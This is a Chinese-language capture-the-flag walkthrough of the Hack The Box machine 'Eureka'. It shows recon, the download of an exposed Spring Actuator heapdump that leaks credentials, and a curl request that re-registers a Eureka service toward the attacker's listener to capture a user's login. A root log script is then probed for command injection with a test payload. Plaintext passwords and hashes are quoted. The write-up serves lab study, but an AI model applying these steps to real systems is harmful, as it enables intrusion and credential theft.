Machine - Eureka

https://app.hackthebox.com/machines/Eureka | Hard

PS：尤里卡发动！所有奇观建造提速 30% !

前期踩点

➜  Eureka nmap -sT -min-rate 10000 -p- 10.10.11.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-27 02:28 EDT
Nmap scan report for 10.10.11.66
Host is up (0.15s latency).
Not shown: 65493 filtered tcp ports (no-response), 40 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

➜  Eureka nmap -sT -A -T4 -O -p 22,80 10.10.11.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-27 02:36 EDT
Nmap scan report for eureka.htb (10.10.11.66)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   442.32 ms 10.10.16.1
2   139.60 ms eureka.htb (10.10.11.66)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.95 seconds

Web 渗透

信息收集

WhatWeb

➜  Eureka whatweb furni.htb                                                                             
http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]

页面上的一些操作要进行登陆后才能进行操作

抓个包分析一下框架

➜  Eureka curl -i http://furni.htb                                                                                                                                                                                                  
HTTP/1.1 200 OK                                                                                                                                                                                                                     
Server: nginx/1.18.0 (Ubuntu)                                                                                                                                                                                                       
Date: Sun, 27 Apr 2025 06:48:57 GMT                                                                                                                                                                                                 
Content-Type: text/html;charset=UTF-8                                                                                                                                                                                               
Transfer-Encoding: chunked                                                                                                                                                                                                          
Connection: keep-alive                                                                                                                                                                                                              
Vary: Origin                                                                                                                                                                                                                        
Vary: Access-Control-Request-Method                                                                                                                                                                                                 
Vary: Access-Control-Request-Headers                                                                                                                                                                                                
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Language: en-US

nginx 是前端 Web Server（反代或直接服务）。

Content-Type 是 text/html;charset=UTF-8，一般就是标准网页。

X-Content-Type-Options: nosniff 和 X-Frame-Options: DENY 这些是常见的安全 HTTP 头，一般 Java、Spring Boot、或者 ASP.NET Core 这种现代后端框架会加上这些头。

Cache-Control: no-cache, no-store, max-age=0, must-revalidate，这种强制禁止缓存的策略，也常见于 Spring Boot，尤其是默认模板生成的网站。

再加上 Content-Language: en-US，和 Pragma: no-cache 这种写法，也很像 Java 系列应用。

所以，综合来看，后端很可能是 Java 系的框架，极有可能是：Spring Boot

目录扫描也确定了这一点，扫描出来了/actuator 目录，并且返回 200

Spring acturtor 未授权

存在未授权访问

curl http://furni.htb/actuator/env

能发现网站根目录：/var/www/web/Furni

并且目录扫描中还从扫描出来了 /actuator/heapdump （Heap dump 为渗透测试者提供了对内存中所有对象的可视化访问，是发现和验证敏感信息泄露、业务逻辑缺陷及内存破坏漏洞的重要手段。）

[03:08:56] 200 -   76MB - /actuator/heapdump

➜  Eureka curl http://furni.htb/actuator/heapdump --output heapdump 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 76.4M  100 76.4M    0     0  1472k      0  0:00:53  0:00:53 --:--:--  477k

使用工具对其进行分析

➜  Eureka java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump                                                                                                                                                                      
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true                                                                                                                                                       
===========================================                                                                                                                                                                                         
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string 
===========================================
OriginTrackedMapPropertySource
-------------                  
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native   
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc           
spring.jpa.hibernate.ddl-auto = none
-------------                                                
UserPassSearcher                           
.... many Message ....

喂给GPT上进行分析，其中最关键的信息是：

username = oscar190  
password = 0sc@r190_S0l!dP@sswd  
url      = jdbc:mysql://localhost:3306/Furni_WebApp_DB

配置项	含义	安全影响／风险
`management.endpoints.web.exposure.include = *`	Actuator 暴露所有管理端点（包括 `/heapdump`, `/env`, `/beans` 等）	高危：攻击者可访问任意管理端点，下载堆快照、查看环境变量、动态修改日志级别，甚至执行敏感操作。
`spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver`	JDBC 驱动类，使用 MySQL Connector/J	无直接风险，但表明后续 URL、凭据可用于 MySQL 连接。
`spring.cloud.inetutils.ignoredInterfaces = enp0s.*`	Spring Cloud InetUtils 忽略以 `enp0s.*` 命名的网络接口	较低风险；影响服务注册时记录的 IP，与实际可达 IP 可能不一致。
`eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/`	Eureka 客户端注册中心地址，包含明文用户名和密码	高危：可查询/下线其他微服务实例，破坏服务可用性或窃取更多配置信息。
`server.forward-headers-strategy = native`	代理环境下转发 HTTP 头（如 X-Forwarded-*）	较低风险；可能影响日志中记录的真实客户端 IP，但对渗透价值有限。
`spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB`	JDBC 连接 URL，指向本地 MySQL 数据库	已结合凭据可直接连接数据库，若数据库允许运行外部连接，可远程利用。
`spring.application.name = Furni`	应用在 Eureka 或其他注册中心中的名称	低风险；可用于识别服务拓扑，但对攻击无直接帮助。
`server.port = 8082`	应用监听的 HTTP 端口	揭示可访问的端口，渗透测试时可针对该端口进行探测与攻击。
`spring.jpa.properties.hibernate.format_sql = true`	Hibernate 打印 SQL 时格式化输出	低风险；仅影响日志可读性，无安全影响。
`spring.session.store-type = jdbc`	Spring Session 存储策略，表示会话数据存入数据库	中等风险：会话信息、Session ID 存库，攻击者可尝试读取或篡改会话表以进行会话固定或劫持。
`spring.jpa.hibernate.ddl-auto = none`	Hibernate 不会自动创建、更新或验证数据库结构	低风险；表示应用不会修改表结构。

Spring Eureka

Spring Eureka 是一个服务注册中心，是用来实现微服务之间自动注册和发现的工具

分析中发现，账号密码也展示出来了 EurekaSrvr:0scarPWDisTheB3st

`eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/`	Eureka 客户端注册中心地址，包含明文用户名和密码	高危：可查询/下线其他微服务实例，破坏服务可用性或窃取更多配置信息。

能发现服务器在好几个端口运行着服务

提权 - To Miranda

信息收集

之前上面还发现呢一组账号密码oscar190:0sc@r190_S0l!dP@sswd

尝试 SSH 登录，发现成功了

➜  Eureka ssh oscar190@10.10.11.66
The authenticity of host '10.10.11.66 (10.10.11.66)' can't be established.
ED25519 key fingerprint is SHA256:5/rCExVFUnFdG5UFLnW7ExQuyelBwtSqwHzBiWKqza0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.66' (ED25519) to the list of known hosts.
oscar190@10.10.11.66's password: 

Last login: Sun Apr 27 07:31:27 2025 from 10.10.16.59
oscar190@eureka:~$

用户信息

oscar190@eureka:/home$ ls
miranda-wise  oscar190

监听的端口

oscar190@eureka:~$ ss -tulpn
Netid                 State                   Recv-Q                  Send-Q                                        Local Address:Port                                    Peer Address:Port                 Process                 
udp                   UNCONN                  0                       0                                             127.0.0.53%lo:53                                           0.0.0.0:*                                            
udp                   UNCONN                  0                       0                                                         *:37093                                              *:*                                            
udp                   UNCONN                  0                       0                                                         *:49730                                              *:*                                            
udp                   UNCONN                  0                       0                                                         *:52181                                              *:*                                            
udp                   UNCONN                  0                       0                                                         *:36551                                              *:*                                            
tcp                   LISTEN                  0                       511                                                 0.0.0.0:80                                           0.0.0.0:*                                            
tcp                   LISTEN                  0                       4096                                          127.0.0.53%lo:53                                           0.0.0.0:*                                            
tcp                   LISTEN                  0                       128                                                 0.0.0.0:22                                           0.0.0.0:*                                            
tcp                   LISTEN                  0                       80                                                127.0.0.1:3306                                         0.0.0.0:*                                            
tcp                   LISTEN                  0                       4096                                     [::ffff:127.0.0.1]:8080                                               *:*                                            
tcp                   LISTEN                  0                       511                                                    [::]:80                                              [::]:*                                            
tcp                   LISTEN                  0                       100                                      [::ffff:127.0.0.1]:8081                                               *:*                                            
tcp                   LISTEN                  0                       100                                      [::ffff:127.0.0.1]:8082                                               *:*                                            
tcp                   LISTEN                  0                       128                                                    [::]:22                                              [::]:*                                            
tcp                   LISTEN                  0                       100                                                       *:8761                                               *:*

结合之前的信息，我们去访问一下数据库

username = oscar190  
password = 0sc@r190_S0l!dP@sswd  
url      = jdbc:mysql://localhost:3306/Furni_WebApp_DB

oscar190@eureka:/home$ mysql -uoscar190 -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 400
Server version: 10.3.39-MariaDB-0ubuntu0.20.04.2 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

ariaDB [Furni_WebApp_DB]> select * from SPRING_SESSION;                                                                                                                                                                            
+--------------------------------------+--------------------------------------+---------------+------------------+-----------------------+---------------+------------------------+                                                 
| PRIMARY_ID                           | SESSION_ID                           | CREATION_TIME | LAST_ACCESS_TIME | MAX_INACTIVE_INTERVAL | EXPIRY_TIME   | PRINCIPAL_NAME         |                                                 
+--------------------------------------+--------------------------------------+---------------+------------------+-----------------------+---------------+------------------------+ 
| 10233918-ae1b-42fb-be6f-5f9964cf1bd4 | 4e178510-cbab-422a-9aec-2d220d4aac84 | 1745739662223 |    1745739664438 |                  1800 | 1745741464438 | miranda.wise@furni.htb |                                                 
| 13332183-199d-4684-ada9-cb6d4a369d3d | 291a60aa-1a92-4f7b-b46e-b2050b972752 | 1745739481031 |    1745739481182 |                  1800 | 1745741281182 | miranda.wise@furni.htb |  
| fa2e36a0-151d-486f-b2c3-0a620a9c21f5 | 19028783-c10e-44b3-9770-8e7137cde452 | 1745739541041 |    1745739541597 |                  1800 | 1745741341597 | miranda.wise@furni.htb |
| fcbcfc2f-66a4-41c7-97cc-36cb09cf2e83 | 6dde7be1-48d9-4188-948b-947be5308ab6 | 1745739181290 |    1745739181563 |                  1800 | 1745740981563 | miranda.wise@furni.htb |

MariaDB [Furni_WebApp_DB]> select * from users;
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
| id | first_name | last_name | email                   | password                                                     | is_staff |
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
|  2 | Kamel      | Mossab    | k.mossab110@eloquia.htb | $2a$10$J4yap5ZxviliZO9jBCuSdeD.7LzL3/njVpNhnG85HCcwA05ulUrzW |        0 |
|  4 | Lorra      | Barker    | lorra199@gmail.com      | $2a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV/LFxlJG8yuL56NyUMMLr5uBuK |        0 |
|  5 | Martin     | Wood      | mwood@gmail.com         | $2a$10$3LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO |        0 |
|  8 | Roberto    | Dalton    | roberto0xd@outlook.com  | $2a$10$4TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu |        0 |
|  9 | Miranda    | Wise      | miranda.wise@furni.htb  | $2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm |        1 |
| 10 | Oscar      | Dalton    | oscar190@furni.htb      | $2a$10$ye9a40a7KOyBJKUai2qxY.fcfVQGlFTM3SVSVcn82wxQf/2zYPq96 |        1 |
| 11 | Nya        | Dalton    | nya190@furni.htb        | $2a$10$GZQOgzb4N1xVs3ALpnuqGeId5/mZLL8pv5GlkRzJfxdFxO/JIkIaK |        1 |
| 12 | lucas      | carols    | logok12976@pelung.com   | $2a$10$J93xmU0.yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC |        0 |
| 15 | test       | test      | test@test.com           | $2a$10$KhEKRdaMX4axuvRkGw3wLuehQMBPMVlQ2astA3sR.toEjh63rbQWG |        0 |
+----+------------+-----------+-------------------------+--------------------------------------------------------------+----------+
9 rows in set (0.000 sec)

将密码放后台进行爆破

然后上传 pspy64 监测一下后台，发现 /opt/log_analyse.sh 和 /opt/scripts/miranda-Login-Simulator.sh 两个脚本，第二个脚本应该是模拟miranda用户登录Web然后在数据库中留下SESSION

2025/04/27 07:53:09 CMD: UID=0     PID=2026725 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log                                                                                                       
2025/04/27 07:53:09 CMD: UID=0     PID=2026723 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log                                                                                                       
2025/04/27 07:53:09 CMD: UID=1000  PID=2026682 | ./pspy64                                                                                                                                                                           
2025/04/27 07:53:09 CMD: UID=0     PID=2026681 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cac
he-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YWQ0ZWE5YTAtODgzYi00ZGNjLWIyY2EtYjg0NTUxMTkxMTdm -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/t
mp.Wgy2TkeN8L --insecure -i                                                                                                                                                                                                         
2025/04/27 07:53:09 CMD: UID=0     PID=2026601 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh                                                                                                                                  
2025/04/27 07:53:09 CMD: UID=0     PID=2026600 | /bin/sh -c /opt/scripts/miranda-Login-Simulator.sh

那么就是说在一定时间会运行该脚本，并且携带miranda的账户密码去进行登录。

现在我们应该去通过某种方式去获得数据包

Spring Eureka 截取流量

佬们分享了一篇文章：https://medium.com/@mfocuz/hacking-netflix-eureka-8e5957b2f539

其中就有关于流量劫持的，大致就是：攻击者将注册 webservice 实例并将其指向恶意服务器，或者替换掉原本的实例，在靶机中可能是 USER-MANAGEMENT-SERVICE

从 heapdump 中导出的数据中

eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/

可以知道 Eureka Client，默认要连接的 Eureka Server 地址是 http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/，而且访问时要用账号密码认证。

需要使用本地地址进行访问，那么就要用 SSH 将端口转发出来

ssh -L 8761:localhost:8761 oscar190@10.10.11.66

kali监听端口

➜  Eureka nc -lvp 8081
listening on [any] 8081 ...

然后查看 /eureka/apps/USER-MANAGEMENT-SERVICE 原本的内容

➜  Eureka curl 'http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE' -H "Accept: application/json"

{
  "application": {
    "name": "USER-MANAGEMENT-SERVICE",
    "instance": [
      {
        "instanceId": "192.168.40.130:user-management-service:6969",
        "hostName": "192.168.40.130",
        "app": "USER-MANAGEMENT-SERVICE",
        "ipAddr": "192.168.40.130",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
          "$": 6969,
          "@enabled": "true"
        },
        "securePort": {
          "$": 9443,
          "@enabled": "false"
        },
        "countryId": 1,
        "dataCenterInfo": {
          "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
          "name": "MyOwn"
        },
        "leaseInfo": {
          "renewalIntervalInSecs": 30,
          "durationInSecs": 90,
          "registrationTimestamp": 1745749189827,
          "lastRenewalTimestamp": 1745749189827,
          "evictionTimestamp": 0,
          "serviceUpTimestamp": 1745749189827
        },
        "metadata": {
          "zone": "default",
          "management.port": "6969"
        },
        "homePageUrl": "http://192.168.40.130:6969/",
        "statusPageUrl": "http://192.168.40.130:6969/info",
        "healthCheckUrl": "http://192.168.40.130:6969/health",
        "secureHealthCheckUrl": "",
        "vipAddress": "user-management-service",
        "secureVipAddress": "user-management-service",
        "isCoordinatingDiscoveryServer": "false",
        "lastUpdatedTimestamp": "1745749189827",
        "lastDirtyTimestamp": "1745750384661",
        "actionType": "ADDED"
      },
      {
        "instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
        "hostName": "localhost",
        "app": "USER-MANAGEMENT-SERVICE",
        "ipAddr": "10.10.11.66",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
          "$": 8081,
          "@enabled": "true"
        },
        "securePort": {
          "$": 443,
          "@enabled": "false"
        },
        "countryId": 1,
        "dataCenterInfo": {
          "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
          "name": "MyOwn"
        },
        "leaseInfo": {
          "renewalIntervalInSecs": 30,
          "durationInSecs": 90,
          "registrationTimestamp": 1745747961808,
          "lastRenewalTimestamp": 1745755807954,
          "evictionTimestamp": 0,
          "serviceUpTimestamp": 1745747961808
        },
        "metadata": {
          "management.port": "8081"
        },
        "homePageUrl": "http://localhost:8081/",
        "statusPageUrl": "http://localhost:8081/actuator/info",
        "healthCheckUrl": "http://localhost:8081/actuator/health",
        "vipAddress": "USER-MANAGEMENT-SERVICE",
        "secureVipAddress": "USER-MANAGEMENT-SERVICE",
        "isCoordinatingDiscoveryServer": "false",
        "lastUpdatedTimestamp": "1745747961808",
        "lastDirtyTimestamp": "1745747961026",
        "actionType": "ADDED"
      }
    ]
  }
}

构造恶意数据包，不需要全部都添加，慢慢测试即可

curl 'http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE' -H 'Content-Type: application/json' -d '{
  "instance": {
	  "hostName": "10.10.16.59",
    "instanceId": "USER-MANAGEMENT-SERVICE",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.16.59",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "secureVipAddress": "USER-MANAGEMENT-SERVICE",
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    },
    "status": "UP",
    "port": {
      "$": 8081,
      "@enabled": "true"
    }
  }
}'

然后我们的端口就会捕获到数据包

➜  Eureka nc -lvp 8081
listening on [any] 8081 ...
connect to [10.10.16.59] from eureka.htb [10.10.11.66] 43346
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=ZjljOWMxOTctMWMyNS00YThkLThlNzItM2RhMDcxYTdkOTk3
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:45412"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.16.59:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=IcxoURYl9qB2QGXTrE_ozcieiecjjQ056cY7bHQ7wAynOgBAFv9bMicVwZBbclLqlGLc9P74pN9HvDUUi6ADDxcO-DTEXjEk

得到 miranda 的账号密码

username=miranda.wise@furni.htb&password=IL!veT0Be&BeT0L0ve

SSH 登录

➜  Eureka ssh miranda-wise@10.10.11.66
miranda-wise@10.10.11.66's password: 
Last login: Sun Apr 27 12:40:29 2025 from 10.10.16.59
miranda-wise@eureka:~$

拿到 user.txt

cat user.txt
1c0182b3b229fff1f28a469053a94c36

提权

信息收集

使用了 Linpeas.sh 进行收集后，没找到什么有趣的信息

═══════════════════════════════╣ Basic information ╠═══════════════════════════════
                               ╚═══════════════════╝
OS: Linux version 5.4.0-214-generic (buildd@lcy02-amd64-062) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025
User & Groups: uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
Hostname: eureka

脚本分析

又回到之前的脚本处，想起来使用 pspy64 进行检测的时候还有另外一个脚本

2025/04/28 05:00:41 CMD: UID=0     PID=2047217 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log

是以 root 身份运行的，并且我们对 /var/www/web/user-management-service 目录有删除的权限，但是对 application.log 没有写的权限，但是我们可以删除了日志文件后再创建一个，我们就有写权限了，所以我们现在要找到脚本中是否存在命令注入

╔══════════╣ Interesting GROUP writable files (not in Home) (max 200)
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-files
  Group developers:
/var/www/web    
/var/www/web/user-management-service
/var/www/web/user-management-service/target

分析脚本（喂给 GPT）

#!/bin/bash

# 颜色定义，用于输出彩色信息
GREEN='\033[0;32m'      # 绿色，用于成功消息
RED='\033[0;31m'        # 红色，用于错误消息
YELLOW='\033[1;33m'     # 黄色，用于警告消息
BLUE='\033[0;34m'       # 蓝色，用于信息消息
CYAN='\033[0;36m'       # 青色，用于一般信息
RESET='\033[0m'         # 重置颜色，恢复默认颜色

# 定义日志文件和输出文件
LOG_FILE="$1"           # 第一个参数为日志文件的路径
OUTPUT_FILE="log_analysis.txt"  # 输出文件，保存分析结果

# 声明关联数组，用于存储登录计数
declare -A successful_users  # 关联数组，存储成功登录的用户及其次数：用户名 -> 次数
declare -A failed_users      # 关联数组，存储失败登录的用户及其次数：用户名 -> 次数

# 定义初始的 HTTP 状态码及其计数（初始化为 0）
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0")

# 检查日志文件是否存在
if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"  # 如果文件不存在，输出错误信息
    exit 1  # 脚本退出并返回错误码
fi

# 分析登录成功和失败的函数
analyze_logins() {
    # 处理成功登录的记录
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')  # 从日志行中提取用户名
        # 如果用户已经存在于数组中，则增加该用户的登录计数
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1  # 第一次登录，初始化计数为 1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")  # 过滤出包含 'LoginSuccessLogger' 的行

    # 处理失败登录的记录
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')  # 从日志行中提取用户名
        # 如果用户已经存在于数组中，则增加该用户的失败登录计数
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1  # 第一次失败，初始化计数为 1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")  # 过滤出包含 'LoginFailureLogger' 的行
}

# 分析日志中的 HTTP 状态码
analyze_http_statuses() {
    # 处理每一行日志，查找状态码
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')  # 提取状态码
        found=0
        # 遍历 STATUS_CODES 数组，检查状态码是否存在
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)  # 获取状态码
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)  # 获取当前计数
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))  # 如果状态码存在，增加计数
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")  # 过滤出包含 'Status: ' 的行
}

# 分析日志中的错误信息
analyze_log_errors(){
    # 输出日志级别的统计信息
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)  # 提取日志级别并排序统计
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;       # INFO级别使用蓝色
        else if ($2 == "WARN") color=yellow; # WARN级别使用黄色
        else if ($2 == "ERROR") color=red;  # ERROR级别使用红色
        else color=reset;                   # 其他日志级别恢复默认颜色
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # 输出所有的错误消息
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka 服务连接失败的错误
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)  # 统计 Eureka 错误的数量
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"  # 输出 Eureka 错误的数量
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'  # 输出最新的 Eureka 错误
}

# 显示最终的分析结果
display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

    # 输出成功登录统计信息
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"  # 显示每个用户的成功登录次数
        total_success=$((total_success + count))  # 累加成功登录总数
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"  # 显示成功登录总数

    # 输出失败登录统计信息
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"  # 显示每个用户的失败登录次数
        total_failed=$((total_failed + count))  # 累加失败登录总数
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"  # 显示失败登录总数

    # 输出 HTTP 状态码分布
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # 按状态码进行排序
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)  # 获取状态码
        count=$(echo "$entry" | cut -d':' -f2)  # 获取该状态码的计数
        total_requests=$((total_requests + count))  # 累加 HTTP 请求总数
        
        # 根据状态码的类型选择颜色
        if [[ $code =~ ^2 ]]; then color="$GREEN"   # 2xx 状态码使用绿色
        elif [[ $code =~ ^3 ]]; then color="$YELLOW" # 3xx 状态码使用黄色
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"  # 4xx 和 5xx 状态码使用红色
        else color="$CYAN"  # 其他状态码使用青色
        fi
        
        printf "${color}%6s %s${RESET}\n" "$count" "$code"  # 显示每个状态码及其计数
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"  # 显示 HTTP 请求总数
}

# 主执行过程
analyze_logins  # 调用分析登录函数
analyze_http_statuses  # 调用分析 HTTP 状态码函数
display_results | tee "$OUTPUT_FILE"  # 显示结果并保存到输出文件
analyze_log_errors | tee -a "$OUTPUT_FILE"  # 分析日志错误并追加到输出文件
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"  # 输出分析完成消息

然后发现一些可能存在命令注入的地方

username=$(echo "$line" | awk -F"'" '{print $2}')  # 从日志行中提取用户名
code=$(echo "$line" | grep -oP 'Status: \K.*')

对这里进行测试

➜  Eureka echo "$(echo 1 >> 1.txt)" | grep -oP 'Status: \K.*'

➜  Eureka cat 1.txt

1

命令注入

在靶机上测试

